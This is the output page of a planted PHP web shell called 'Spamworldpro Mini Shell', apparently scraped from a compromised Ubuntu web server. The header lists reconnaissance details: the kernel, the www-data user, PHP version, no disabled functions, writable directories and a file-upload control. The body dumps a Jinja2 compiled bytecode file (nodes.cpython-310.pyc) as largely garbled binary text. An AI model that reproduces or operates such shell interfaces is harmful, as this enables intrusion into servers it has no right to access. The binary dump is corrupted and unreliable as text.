Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/jinja2/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/jinja2/__pycache__/nodes.cpython-310.pyc
o

��g9��
@sbUdZddlZddlZddlZzddlmZWney&ddlmZYnwddl	m
Z
ddlmZej
r@ddlZddlmZejdd	d
�Zejejejejejejejd�Zejeejejejgejffe d<ej!ej"ej#d
�Z$ejeejejgejffe d<ej%ej&ej'ej(ej)ej*dd�dd�d�Z+ejeejejejgejffe d<Gdd�de,�Z-Gdd�de.�Z/Gdd�d�Z0dd	dej1e0de0fdd�Z2Gdd	�d	e/d �Z3Gd!d"�d"e3�Z4Gd#d$�d$e3�Z5Gd%d&�d&e3�Z6Gd'd(�d(e4�Z7Gd)d*�d*e4�Z8Gd+d,�d,e4�Z9Gd-d.�d.e4�Z:Gd/d0�d0e4�Z;Gd1d2�d2e4�Z<Gd3d4�d4e4�Z=Gd5d6�d6e4�Z>Gd7d8�d8e4�Z?Gd9d:�d:e4�Z@Gd;d<�d<e4�ZAGd=d>�d>e4�ZBGd?d@�d@e4�ZCGdAdB�dBe4�ZDGdCdD�dDe4�ZEGdEdF�dFe3�ZFGdGdH�dHeF�ZGGdIdJ�dJeF�ZHGdKdL�dLeF�ZIGdMdN�dNeF�ZJGdOdP�dPeF�ZKGdQdR�dReK�ZLGdSdT�dTeK�ZMGdUdV�dVeK�ZNGdWdX�dXeK�ZOGdYdZ�dZeK�ZGd[d\�d\e5�ZPGd]d^�d^e5�ZQGd_d`�d`eF�ZRdejSdadbej1e0dejNejOejejejejfffdcdd�ZTGdedf�dfeF�ZUGdgdh�dheU�ZVGdidj�djeU�ZWGdkdl�dleF�ZXGdmdn�dneF�ZYGdodp�dpeF�ZZGdqdr�dreF�Z[Gdsdt�dteF�Z\Gdudv�dveF�Z]Gdwdx�dxe5�Z^Gdydz�dzeG�Z_Gd{d|�d|eG�Z`Gd}d~�d~eG�ZaGdd��d�eG�ZbGd�d��d�eG�ZcGd�d��d�eG�ZdGd�d��d�eG�ZeGd�d��d�eG�ZfGd�d��d�eG�ZgGd�d��d�eH�ZhGd�d��d�eH�ZiGd�d��d�eH�ZjGd�d��d�eF�ZkGd�d��d�eF�ZlGd�d��d�eF�ZmGd�d��d�eF�ZnGd�d��d�eF�ZoGd�d��d�eF�ZpGd�d��d�eF�ZqGd�d��d�eF�ZrGd�d��d�e4�ZsGd�d��d�e4�ZtGd�d��d�e4�ZuGd�d��d�e4�ZvGd�d��d�e4�ZwGd�d��d�ew�Zxd�ejd�ejdd�fd�d��Zyezey�e/_{[ydS)�z�AST nodes generated by the parser for the compiler. Also provides
some node tree helper functions used by the parser and compiler in order
to normalize nodes.
�N)�deque)�Markup�)�_PassArg)�Environment�
_NodeBound�Node)�bound)�*�/�//�**�%�+�-�_binop_to_func)�notrr�
_uaop_to_funccCs||vS�N���a�brr�./usr/lib/python3/dist-packages/jinja2/nodes.py�<lambda>.�rcCs||vSrrrrrrr/r)�eq�ne�gt�gteq�lt�lteq�in�notin�_cmpop_to_funcc@�eZdZdZdS)�
Impossiblez8Raised if the node could not perform a requested action.N��__name__�
__module__�__qualname__�__doc__rrrrr&3�r&c@seZdZdZdd�ZdS)�NodeTypez�A metaclass for nodes that handles the field and attribute
    inheritance.  fields and attributes from the parent class are
    automatically forwarded to the child.cCs�dD]:}g}|�t|r|dnt|d��|�|�|d��t|�dks(Jd��t|�tt|��ks6Jd��t|�||<q|�dd�t�	||||�S)	N)�fields�
attributesrrrz multiple inheritance not allowedzlayout conflict�abstractF)
�extend�getattr�object�get�len�set�tuple�
setdefault�type�__new__)�mcs�name�bases�d�attr�storagerrrr:<szNodeType.__new__N)r(r)r*r+r:rrrrr-7sr-c@sheZdZdZ	ddddejeddfdd�Zdejeej	ffd	d
�Z
dejeej	fddfdd
�ZdS)�EvalContextzcHolds evaluation time information.  Custom attributes can be attached
    to it in extensions.
    N�environmentr�
template_name�returncCs0||_t|j�r|�|�|_n|j|_d|_dS�NF)rB�callable�
autoescape�volatile)�selfrBrCrrr�__init__Ms


zEvalContext.__init__cCs
|j��Sr)�__dict__�copy�rIrrr�saveW�
zEvalContext.save�oldcCs|j��|j�|�dSr)rK�clear�update)rIrPrrr�revertZ�
zEvalContext.revertr)r(r)r*r+�t�Optional�strrJ�Mapping�AnyrNrSrrrrrAHs���
�
"rA�node�ctxrDcCs(|dur|jdur
td��t|j�S|S)NzIif no eval context is passed, the node must have an attached environment.)rB�RuntimeErrorrA)rZr[rrr�get_eval_context_s
�
r]c
@s�eZdZUdZdZejedfed<dZ	ejedfed<dZ
eed<ejd	ed
<dej
dej
ddfd
d�Z		d*dejejedejejedejejeej
ffdd�Z		d*dejejedejejedejdfdd�Zdejedejefdd�Zdejejeejejedffdejefdd�Zdeddfdd�Zd+dededdfdd �Zd,d!d"�Zd#ej
defd$d%�ZejZdefd&d'�Zdefd(d)�Z dS)-ra�Baseclass for all Jinja nodes.  There are a number of nodes available
    of different types.  There are four major types:

    -   :class:`Stmt`: statements
    -   :class:`Expr`: expressions
    -   :class:`Helper`: helper nodes
    -   :class:`Template`: the outermost wrapper node

    All nodes have fields and attributes.  Fields may be other nodes, lists,
    or arbitrary values.  Fields are passed to the constructor as regular
    positional arguments, attributes as keyword arguments.  Each node has
    two attributes: `lineno` (the line number of the node) and `environment`.
    The `environment` attribute is set at the end of the parsing process for
    all nodes automatically.
    r.r.��linenorBr/Tr_rrBrDNcOs�|jrtd��|rNt|�t|j�kr=|jstt|�j�d���tt|�j�dt|j��dt|j�dkr8d����d����t|j|�D]
\}}t|||�qC|jD]}t|||�	|d��qQ|rktdt
t|������dS)	Nz#abstract nodes are not instantiablez takes 0 argumentsz takes 0 or z	 argumentr�s�zunknown attribute )r0�	TypeErrorr5r.r9r(�zip�setattrr/�pop�next�iter)rIr.r/r<�argr?rrrrJ�s*����
�z
Node.__init__�exclude�onlyc	csj�|jD].}|dur|dus|dur||vs|dur2||vr2z
|t||�fVWqty1YqwqdS)aZThis method iterates over all fields that are defined and yields
        ``(key, value)`` tuples.  Per default all fields are returned, but
        it's possible to limit that to some fields by providing the `only`
        parameter or to exclude some using the `exclude` parameter.  Both
        should be sets or tuples of field names.
        N)r.r2�AttributeError)rIrirjr<rrr�iter_fields�s�
���zNode.iter_fieldsccsR�|�||�D]\}}t|t�r|D]
}t|t�r|Vqqt|t�r&|VqdS)z�Iterates over all direct child nodes of the node.  This iterates
        over all fields and yields the values of they are nodes.  If the value
        of a field is a list all the nodes in that list are returned.
        N)rl�
isinstance�listr)rIrirj�_�item�nrrr�iter_child_nodes�s�	

��
��zNode.iter_child_nodes�	node_typecCs|�|�D]}|SdS)ziFind the first node of a given type.  If no such node exists the
        return value is `None`.
        N)�find_all)rIrs�resultrrr�find�sz	Node.findccs4�|��D]}t||�r|V|�|�EdHqdS)z�Find all the nodes of a given type.  If the type is a tuple,
        the check is performed for any of the tuple items.
        N)rrrmrt)rIrs�childrrrrt�s�
�z
Node.find_allr[cCs<t|g�}|r|��}d|jvr||_|�|���|s|S)aReset the context of a node and all child nodes.  Per default the
        parser will all generate nodes that have a 'load' context as it's the
        most common one.  This method is used in the parser to set assignment
        targets and other nodes to a store context.
        r[)r�popleftr.r[r1rr)rIr[�todorZrrr�set_ctx�s

�zNode.set_ctxF�overridecCsJt|g�}|r#|��}d|jvr|jdus|r||_|�|���|s|S)z.Set the line numbers of the node and children.r_N)rrxr/r_r1rr)rIr_r{ryrZrrr�
set_lineno�s

�zNode.set_linenocCs2t|g�}|r|��}||_|�|���|s|S)z"Set the environment for all nodes.)rrxrBr1rr)rIrBryrZrrr�set_environment�s
�zNode.set_environment�othercCs,t|�t|�ur
tSt|���t|���kSr)r9�NotImplementedr7rl)rIr~rrr�__eq__�szNode.__eq__cs0d��fdd��jD��}t��j�d|�d�S)N�, c3s&�|]}|�dt�|d���VqdS)�=N)r2)�.0rrMrr�	<genexpr>�s�$z Node.__repr__.<locals>.<genexpr>�(�))�joinr.r9r()rI�args_strrrMr�__repr__�sz
Node.__repr__cs:dtjttjfddf��fdd��g��|�d���S)NrZrDcs�t|t�s��t|��dS��dt|�j�d��|js$��d�dSt|j�D]8\}}|r4��d�t||�}t|t	�r]��d�t|�D]\}}|rR��d��|�qG��d�q)�|�q)��d�dS)Nznodes.r�r�r��[�])
rmr�append�reprr9r(r.�	enumerater2rn)rZ�idx�field�valuerp��_dump�bufrrr��s(








zNode.dump.<locals>._dumpra)rU�UnionrrYr�rMrr�r�dump�s$
z	Node.dump�NN)F)rBrrDr)!r(r)r*r+r.rU�TuplerW�__annotations__r/r0�intrVrYrJ�	Container�Iteratorrlrr�Typerrvr�rtrz�boolr|r}r�r3�__hash__r�r�rrrrrjsN
���
����
�	"�
�
	)�	metaclassc@�eZdZdZdZdS)�StmtzBase node for all statements.TN�r(r)r*r+r0rrrrr��r�c@r�)�Helperz,Nodes that exist in a specific context only.TNr�rrrrr�!r�r�c@�$eZdZUdZdZejeed<dS)�TemplatezjNode that represents a template.  This must be the outermost node that
    is passed to the compiler.
    ��bodyr�N�	r(r)r*r+r.rU�Listrr�rrrrr�'�
r�c@s$eZdZUdZdZejded<dS)�Outputz�A node that holds multiple expressions which are then printed out.
    This is used both for the `print` statement and the regular template data.
    ��nodes�Exprr�N)r(r)r*r+r.rUr�r�rrrrr�0r�r�c@seZdZUdZdZded<dS)�Extendsz Represents an extends statement.)�templater�r�N)r(r)r*r+r.r�rrrrr�9�
r�c@sXeZdZUdZdZeed<eed<ejeed<ejeed<ej	eed<e
ed<d	S)
�ForaxThe for loop.  `target` is the target for the iteration (usually a
    :class:`Name` or :class:`Tuple`), `iter` the iterable.  `body` is a list
    of nodes that are used as loop-body, and `else_` a list of nodes for the
    `else` block.  If no else node exists it has to be an empty list.

    For filtered nodes an expression can be stored as `test`, otherwise `None`.
    )�targetrgr��else_�test�	recursiver�rgr�r�r�r�N)r(r)r*r+r.rr�rUr�rVr�rrrrr�@s
r�c@sHeZdZUdZdZeed<ejeed<ejded<ejeed<dS)�Ifz4If `test` is true, `body` is rendered, else `else_`.)r�r��elif_r�r�r�r�r�N)	r(r)r*r+r.rr�rUr�rrrrr�Rs
r�c@sHeZdZUdZdZeed<ejded<ejded<eje	ed<d	S)
�Macroz�A macro definition.  `name` is the name of the macro, `args` a list of
    arguments and `defaults` a list of defaults if there are any.  `body` is
    a list of nodes for the macro body.
    )r<�args�defaultsr�r<�Namer�r�r�r�N)
r(r)r*r+r.rWr�rUr�rrrrrr�\s
r�c@sHeZdZUdZdZded<ejded<ejded<ejeed	<d
S)�	CallBlockz�Like a macro without a name but a call instead.  `call` is called with
    the unnamed macro as `caller` argument this node holds.
    )�callr�r�r��Callr�r�r�r�r�r�N)	r(r)r*r+r.r�rUr�rrrrrr�is
r�c@s,eZdZUdZdZejeed<ded<dS)�FilterBlockzNode for filter sections.)r��filterr��Filterr�Nr�rrrrr�us

r�c@s@eZdZUdZdZejded<ejded<ejeed<dS)�Withz�Specific node for with statements.  In older versions of Jinja the
    with statement was implemented on the base of the `Scope` node instead.

    .. versionadded:: 2.9.3
    )�targets�valuesr�r�r�r�r�N)	r(r)r*r+r.rUr�r�rrrrrr�}s
r�c@s<eZdZUdZdZeed<eje	ed<e
ed<e
ed<dS)�BlockzkA node that represents a block.

    .. versionchanged:: 3.0.0
        the `required` field was added.
    )r<r��scoped�requiredr<r�r�r�N)r(r)r*r+r.rWr�rUr�rr�rrrrr��s
r�c@s.eZdZUdZdZded<eed<eed<dS)�Includez'A node that represents the include tag.)r��with_context�ignore_missingr�r�r�r�N)r(r)r*r+r.r�r�rrrrr���
r�c@s.eZdZUdZdZded<eed<eed<dS)�Importz&A node that represents the import tag.)r�r�r�r�r�r�r�N)r(r)r*r+r.r�rWr�rrrrr��r�r�c@sHeZdZUdZdZded<ejeje	ej
e	e	ffed<eed<dS)�
FromImportaA node that represents the from import tag.  It's important to not
    pass unsafe names to the name attribute.  The compiler translates the
    attribute lookups directly into getattr calls and does *not* use the
    subscript callback of the interface.  As exported variables may not
    start with double underscores (which the parser asserts) this is not a
    problem for regular Jinja code, but if this node is used in an extension
    extra care must be taken.

    The list of names may contain tuples if aliases are wanted.
    )r��namesr�r�r�r�r�N)r(r)r*r+r.r�rUr�r�rWr�r�rrrrr��s
"r�c@�eZdZUdZdZeed<dS)�ExprStmtzAA statement that evaluates an expression and discards the result.�rZrZN)r(r)r*r+r.rr�rrrrr��r�r�c@s&eZdZUdZdZded<eed<dS)�Assignz"Assigns an expression to a target.)r�rZr�r�rZN)r(r)r*r+r.r�rrrrrr���

r�c@s:eZdZUdZdZded<ejded<eje	ed<dS)	�AssignBlockzAssigns a block to a target.)r�r�r�r�r�r�r�r�N)
r(r)r*r+r.r�rUrVr�rrrrrr��s
r�c@s>eZdZdZdZd
dejedejfdd�Z	de
fdd	�ZdS)r�zBaseclass for all expressions.TN�eval_ctxrDcCst��)anReturn the value of the expression as constant or raise
        :exc:`Impossible` if this was not possible.

        An :class:`EvalContext` can be provided, if none is given
        a default context is created which requires the nodes to have
        an attached environment.

        .. versionchanged:: 2.4
           the `eval_ctx` parameter was added.
        )r&�rIr�rrr�as_const�sz
Expr.as_constcC�dS)z8Check if it's possible to assign something to this node.FrrMrrr�
can_assign�szExpr.can_assignr)r(r)r*r+r0rUrVrArYr�r�r�rrrrr��s

r�c@sNeZdZUdZdZeed<eed<eed<dZdde	j
ed	e	jfd
d�Z
dS)
�BinExprz%Baseclass for all binary expressions.)�left�rightr�r��operatorTNr�rDc
Csnt||�}|jjr|j|jjvrt��t|j}z||j�|�|j	�|��WSt
y6}zt�|�d}~wwr)r]rB�	sandboxedr��intercepted_binopsr&rr�r�r��	Exception�rIr��f�errrr��s
�
��zBinExpr.as_constr�r(r)r*r+r.r�r�rWr0rUrVrArYr�rrrrr��s
 r�c@sFeZdZUdZdZeed<eed<dZdde	j
ede	jfd	d
�Z
dS)�	UnaryExprz$Baseclass for all unary expressions.r�rZr�TNr�rDc
Csdt||�}|jjr|j|jjvrt��t|j}z	||j�|��WSt	y1}zt�|�d}~wwr)
r]rBr�r��intercepted_unopsr&rrZr�r�r�rrrr�s
�
��zUnaryExpr.as_constrr�rrrrr�s
 r�c@�4eZdZUdZdZeed<eed<defdd�ZdS)	r�aLooks up a name or stores a value in a name.
    The `ctx` of the node can be one of the following values:

    -   `store`: store a value in the name
    -   `load`: load that name
    -   `param`: like `store` but if the name was defined as function parameter.
    )r<r[r<r[rDcCs
|jdvS)N>�None�True�none�true�False�false�r<rMrrrr�)rOzName.can_assignN�	r(r)r*r+r.rWr�r�r�rrrrr�s
r�c@r�)	�NSRefz)Reference to a namespace value assignment)r<r?r<r?rDcCr�)NTrrMrrrr�4szNSRef.can_assignNr�rrrrr�-s
r�c@r�)�LiteralzBaseclass for literals.TNr�rrrrr�<r�r�c
@sheZdZUdZdZejed<ddeje	dejfdd�Z
e		ddejd	ejed
dddfdd
��Z
dS)�ConstaAll constant values.  The parser will return this node for simple
    constants such as ``42`` or ``"foo"`` but it can be used to store more
    complex values such as lists too.  Only constants with a safe
    representation (objects where ``eval(repr(x)) == x`` is true).
    �r�r�Nr�rDcCs|jSrr�r�rrrr�LszConst.as_constr_rBzt.Optional[Environment]cCs(ddlm}||�s
t��||||d�S)z�Return a const object if the value is representable as
        constant value in the generated code, otherwise it will raise
        an `Impossible` exception.
        r)�
has_safe_reprr^)�compilerr�r&)�clsr�r_rBr�rrr�from_untrustedOszConst.from_untrustedrr�)r(r)r*r+r.rUrYr�rVrAr��classmethodr�r�rrrrr�Bs"

�����r�c@s8eZdZUdZdZeed<d	deje	defdd�Z
dS)
�TemplateDatazA constant template string.)�datar�Nr�rDcCs,t||�}|jrt��|jrt|j�S|jSr)r]rHr&rGrr�r�rrrr�gs

zTemplateData.as_constr)r(r)r*r+r.rWr�rUrVrAr�rrrrr�a�

r�c@s`eZdZUdZdZejeed<e	ed<d
dej
edejej
dffd	d
�Zdefdd�ZdS)r�z�For loop unpacking and some other things like multiple arguments
    for subscripts.  Like for :class:`Name` `ctx` specifies if the tuple
    is used for loading the names or storing.
    )�itemsr[r�r[Nr�rD.c�"t|���t�fdd�|jD��S)Nc3��|]}|���VqdSr�r��r��x�r�rrr�|��z!Tuple.as_const.<locals>.<genexpr>)r]r7r�r�rrrr�z�
zTuple.as_constcCs|jD]	}|��sdSqdS)NFT)r�r�)rIrprrrr�~s

�zTuple.can_assignr)r(r)r*r+r.rUr�r�r�rWrVrAr�rYr�r�r�rrrrr�ps
&r�c@sFeZdZUdZdZejeed<d	dej	e
dejejfdd�ZdS)
r�z&Any list literal such as ``[1, 2, 3]``�r�r�Nr�rDcst|����fdd�|jD�S)Nc�g|]}|����qSrrrrrr�
<listcomp>��z!List.as_const.<locals>.<listcomp>)r]r�r�rrrr��s
z
List.as_constr)
r(r)r*r+r.rUr�r�r�rVrArYr�rrrrr��s

&r�c@sNeZdZUdZdZejded<	d
deje	dej
ejejffdd	�ZdS)�DictzeAny dict literal such as ``{1: 2, 3: 4}``.  The items must be a list of
    :class:`Pair` nodes.
    r�Pairr�Nr�rDcr)Nc3rrrrrrrr��rz Dict.as_const.<locals>.<genexpr>)r]�dictr�r�rrrr���
z
Dict.as_constr)
r(r)r*r+r.rUr�r�rVrArrYr�rrrrr�s
���rc@sPeZdZUdZdZeed<eed<	d
deje	dej
ejejffdd	�ZdS)r
zA key, value pair for dicts.��keyr�rr�Nr�rDcCs"t||�}|j�|�|j�|�fSr)r]rr�r�r�rrrr��rz
Pair.as_constr)
r(r)r*r+r.r�r�rUrVrAr�rYr�rrrrr
�s
���r
c@sLeZdZUdZdZeed<eed<d
dej	e
dejeejffdd	�Z
dS)�Keywordz>A key, value pair for keyword arguments where key is a string.rrr�Nr�rDcCst||�}|j|j�|�fSr)r]rr�r�r�rrrr��s
zKeyword.as_constr)r(r)r*r+r.rWr�r�rUrVrAr�rYr�rrrrr�s
*rc@sPeZdZUdZdZeed<eed<ejeed<ddeje	dej
fd	d
�ZdS)�CondExprzZA conditional expression (inline if expression).  (``{{
    foo if bar else baz }}``)
    )r��expr1�expr2r�rrNr�rDcCs>t||�}|j�|�r|j�|�S|jdurt��|j�|�Sr)r]r�r�rrr&r�rrrr��s

zCondExpr.as_constr)r(r)r*r+r.r�r�rUrVrArYr�rrrrr�s
 r)�_FilterTestCommonr�r�c
s��fdd�|jD�}t�fdd�|jD��}|jdur7z|�|j����Wnty6}zt�|�d}~ww|jdur[z|�	|j����W||fStyZ}zt�|�d}~ww||fS)Ncr	rrrrrrr
�rz!args_as_const.<locals>.<listcomp>c3rrrrrrrr��rz args_as_const.<locals>.<genexpr>)
r�r�kwargs�dyn_argsr1r�r�r&�
dyn_kwargsrR)rZr�r�rr�rrr�
args_as_const�s$
��
���rc@s~eZdZUdZeed<eed<ejeed<eje	ed<ej
eed<ej
eed<dZdZdd
ej
e
dejfdd
�Zd	S)r)rZr<r�rrrrZr<r�rrrTNr�rDc
Cst||�}|jrt��|jr|jj}n|jj}|�|j�}t	�
|�}|dus+|t	jur.t��|jjrBt
|dd�dus?t�|�rBt��t||�\}}|�d|j�|��|t	jur_|�d|�n|t	jurk|�d|j�z||i|��WSty�}zt�|�d}~ww)N�jinja_async_variantFTr)r]rHr&�
_is_filterrB�filters�testsr4r<r�from_obj�context�is_asyncr2�inspect�iscoroutinefunctionr�insertrZr��eval_contextr�)rIr��env_map�func�pass_argr�rr�rrrr��s6


�

��z_FilterTestCommon.as_constr)r(r)r*r.r�r�rWrUr�r
rVr0rrArYr�rrrrr�s
 rcsDeZdZUdZejeed<ddejedej	f�fdd�
Z
�ZS)	r�z�Apply a filter to an expression. ``name`` is the name of the
    filter, the other fields are the same as :class:`Call`.

    If ``node`` is ``None``, the filter is being used in a filter block
    and is applied to the content of the block.
    rZNr�rDcs|jdurt��t�j|d�S)Nr)rZr&�superr�r���	__class__rrr�s
zFilter.as_constr)r(r)r*r+rUrVr�r�rArYr��
__classcell__rrr*rr�s
(r�c@r�)�Testa/Apply a test to an expression. ``name`` is the name of the test,
    the other field are the same as :class:`Call`.

    .. versionchanged:: 3.0
        ``as_const`` shares the same logic for filters and tests. Tests
        check for volatile, async, and ``@pass_context`` etc.
        decorators.
    FN)r(r)r*r+rrrrrr-%s	r-c@sVeZdZUdZdZeed<ejeed<eje	ed<ej
eed<ej
eed<dS)	r�a/Calls an expression.  `args` is a list of arguments, `kwargs` a list
    of keyword arguments (list of :class:`Keyword` nodes), and `dyn_args`
    and `dyn_kwargs` has to be either `None` or a node that is used as
    node for dynamic positional (``*args``) or keyword (``**kwargs``)
    arguments.
    )rZr�rrrrZr�rrrN)r(r)r*r+r.r�r�rUr�rrVrrrrr�2s
r�c@sJeZdZUdZdZeed<eed<eed<ddej	e
dejfd	d
�ZdS)�Getitemz@Get an attribute or item from an expression and prefer the item.)rZrhr[rZrhr[Nr�rDc
Cs\|jdkrt��t||�}z|j�|j�|�|j�|��WSty-}zt�|�d}~ww�N�load)	r[r&r]rB�getitemrZr�rhr��rIr�r�rrrr�Js

���zGetitem.as_constr�
r(r)r*r+r.r�r�rWrUrVrArYr�rrrrr.Bs
 r.c@sJeZdZUdZdZeed<eed<eed<ddej	e
dejfd	d
�ZdS)�GetattrznGet an attribute or item from an expression that is a ascii-only
    bytestring and prefer the attribute.
    )rZr?r[rZr?r[Nr�rDc
CsV|jdkrt��t||�}z
|j�|j�|�|j�WSty*}zt�|�d}~wwr/)	r[r&r]rBr2rZr�r?r�r2rrrr�bs

��zGetattr.as_constrr3rrrrr4Xs
 r4c@sZeZdZUdZdZejeed<ejeed<ejeed<ddeje	de
fd	d
�ZdS)�Slicez_Represents a slice object.  This must only be used as argument for
    :class:`Subscript`.
    )�start�stop�stepr6r7r8Nr�rDcsLt|���dtjtdtjtjf�fdd�}t||j�||j�||j��S)N�objrDcs|durdS|���Srr)r9rrr�const{s
zSlice.as_const.<locals>.const)	r]rUrVr�rY�slicer6r7r8)rIr�r:rrrr�xs
$zSlice.as_constr)r(r)r*r+r.rUrVr�r�rAr;r�rrrrr5ns
r5c@s>eZdZUdZdZejeed<d	dej	e
defdd�ZdS)
�ConcatzXConcatenates the list of expressions provided after converting
    them to strings.
    r�r�Nr�rDcs$t|���d��fdd�|jD��S)Nrac3s�|]
}t|����VqdSr)rWr�rrrrr��s�z"Concat.as_const.<locals>.<genexpr>)r]r�r�r�rrrr��s
zConcat.as_constr)
r(r)r*r+r.rUr�r�r�rVrArWr�rrrrr<�s

r<c@sHeZdZUdZdZeed<ejded<ddej	e
dejfd	d
�ZdS)�CompareziCompares an expression with some other expressions.  `ops` must be a
    list of :class:`Operand`\s.
    )�expr�opsr>�Operandr?Nr�rDc
Cszt||�}|j�|�}}z|jD]}|j�|�}t|j||�}|s'WdS|}qW|Sty<}zt�|�d}~wwrE)r]r>r�r?r$�opr�r&)rIr�rur�rA�	new_valuer�rrrr��s

����zCompare.as_constr)
r(r)r*r+r.r�r�rUr�rVrArYr�rrrrr=�s
 r=c@s&eZdZUdZdZeed<eed<dS)r@z$Holds an operator and an expression.)rAr>rAr>N)r(r)r*r+r.rWr�r�rrrrr@�r�r@c@r�)�Mulz(Multiplies the left with the right node.r
N�r(r)r*r+r�rrrrrC�r�rCc@r�)�Divz#Divides the left by the right node.rNrDrrrrrE�r�rEc@r�)�FloorDivzbDivides the left by the right node and converts the
    result into an integer by truncating.
    rNrDrrrrrF�srFc@r�)�AddzAdd the left to the right node.rNrDrrrrrG�r�rGc@r�)�Subz&Subtract the right from the left node.rNrDrrrrrH�r�rHc@r�)�ModzLeft modulo right.rNrDrrrrrI�r�rIc@r�)�PowzLeft to the power of right.r
NrDrrrrrJ�r�rJc@�0eZdZdZdZddejedejfdd�Z	dS)	�AndzShort circuited AND.�andNr�rDcCs"t||�}|j�|�o|j�|�Sr�r]r�r�r�r�rrrr��rzAnd.as_constr�
r(r)r*r+r�rUrVrArYr�rrrrrL�� rLc@rK)	�OrzShort circuited OR.�orNr�rDcCs"t||�}|j�|�p|j�|�SrrNr�rrrr��rzOr.as_constrrOrrrrrQ�rPrQc@r�)�NotzNegate the expression.rNrDrrrrrS�r�rSc@r�)�NegzMake the expression negative.rNrDrrrrrT�r�rTc@r�)�Posz8Make the expression positive (noop for most expressions)rNrDrrrrrUr�rUc@r�)�EnvironmentAttributez�Loads an attribute from the environment object.  This is useful for
    extensions that want to call a callback stored on the environment.
    r�r<N�r(r)r*r+r.rWr�rrrrrV	s
rVc@s&eZdZUdZdZeed<eed<dS)�ExtensionAttributez�Returns the attribute of an extension bound to the environment.
    The identifier is the identifier of the :class:`Extension`.

    This node is usually constructed by calling the
    :meth:`~jinja2.ext.Extension.attr` method on an extension.
    )�
identifierr<rYr<NrWrrrrrXs

rXc@r�)�ImportedNamea&If created with an import name the import name is returned on node
    access.  For example ``ImportedName('cgi.escape')`` returns the `escape`
    function from the cgi module on evaluation.  Imports are optimized by the
    compiler so there is no need to assign them to local variables.
    )�
importnamer[NrWrrrrrZs
rZc@s(eZdZUdZdZeed<ddd�ZdS)	�InternalNamea6An internal name in the compiler.  You cannot create these nodes
    yourself but the parser provides a
    :meth:`~jinja2.parser.Parser.free_identifier` method that creates
    a new identifier for you.  This identifier is not available from the
    template and is not treated specially by the compiler.
    r�r<rDNcC�td��)NzKCan't create internal names.  Use the `free_identifier` method on a parser.�rbrMrrrrJ5s�zInternalName.__init__)rDN)r(r)r*r+r.rWr�rJrrrrr\*s

r\c@s8eZdZUdZdZeed<d	deje	de
fdd�ZdS)
�MarkSafez:Mark the wrapped expression as safe (wrap it as `Markup`).�r>r>Nr�rDcCst||�}t|j�|��Sr)r]rr>r�r�rrrr�BrTzMarkSafe.as_constr)r(r)r*r+r.r�r�rUrVrArr�rrrrr_<r�r_c@sFeZdZUdZdZeed<	d	deje	dej
eejffdd�Z
dS)
�MarkSafeIfAutoescapez�Mark the wrapped expression as safe (wrap it as `Markup`) but
    only if autoescaping is active.

    .. versionadded:: 2.5
    r`r>Nr�rDcCs4t||�}|jrt��|j�|�}|jrt|�S|Sr)r]rHr&r>r�rGr)rIr�r>rrrr�Qs
zMarkSafeIfAutoescape.as_constr)r(r)r*r+r.r�r�rUrVrAr�rrYr�rrrrraGs
���rac@r%)�ContextReferenceaMReturns the current template context.  It can be used like a
    :class:`Name` node, with a ``'load'`` ctx and will return the
    current :class:`~jinja2.runtime.Context` object.

    Here an example that assigns the current template name to a
    variable named `foo`::

        Assign(Name('foo', ctx='store'),
               Getattr(ContextReference(), 'name'))

    This is basically equivalent to using the
    :func:`~jinja2.pass_context` decorator when using the high-level
    API, which causes a reference to the context to be passed as the
    first argument to a function.
    Nr'rrrrrb]r,rbc@r%)�DerivedContextReferencez�Return the current template context including locals. Behaves
    exactly like :class:`ContextReference`, but includes local
    variables, such as from a ``for`` loop.

    .. versionadded:: 2.11
    Nr'rrrrrcor,rcc@r%)�ContinuezContinue a loop.Nr'rrrrrdxr,rdc@r%)�Breakz
Break a loop.Nr'rrrrre|r,rec@r�)�ScopezAn artificial scope.r�r�Nr�rrrrrf�s
rfc@s,eZdZUdZdZeed<eje	ed<dS)�OverlayScopea�An overlay scope for extensions.  This is a largely unoptimized scope
    that however can be used to introduce completely arbitrary variables into
    a sub scope from a dictionary or dictionary like object.  The `context`
    field has to evaluate to a dictionary object.

    Example usage::

        OverlayScope(context=self.call_method('get_context'),
                     body=[...])

    .. versionadded:: 2.10
    )r r�r r�N)
r(r)r*r+r.r�r�rUr�rrrrrrg�s


rgc@r�)�EvalContextModifiera
Modifies the eval context.  For each option that should be modified,
    a :class:`Keyword` has to be added to the :attr:`options` list.

    Example to change the `autoescape` setting::

        EvalContextModifier(options=[Keyword('autoescape', Const(True))])
    )�optionsriN)	r(r)r*r+r.rUr�rr�rrrrrh�s
rhc@r�)�ScopedEvalContextModifierz�Modifies the eval context and reverts it later.  Works exactly like
    :class:`EvalContextModifier` but will only modify the
    :class:`~jinja2.nodes.EvalContext` for nodes in the :attr:`body`.
    r�r�Nr�rrrrrj�s
rjr�rzte.NoReturncOr])Nzcan't create custom node typesr^)r�rrrr�_failing_new�srk)|r+r"r��typingrU�collections.abcr�ImportError�collections�
markupsafer�utilsr�
TYPE_CHECKING�typing_extensions�terBr�TypeVarr�mul�truediv�floordiv�pow�mod�add�subrrrW�CallablerYr��not_�pos�negrrrr�ger �ler$r�r&r9r-rArVr]rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r
rrr�rrr�r-r�r.r4r5r<r=r@rCrErFrGrHrIrJrLrQrSrTrUrVrXrZr\r_rarbrcrdrerfrgrhrjrk�staticmethodr:rrrr�<module>s��,�(�,�2		


			��"
�0



		
	



Spamworldpro Mini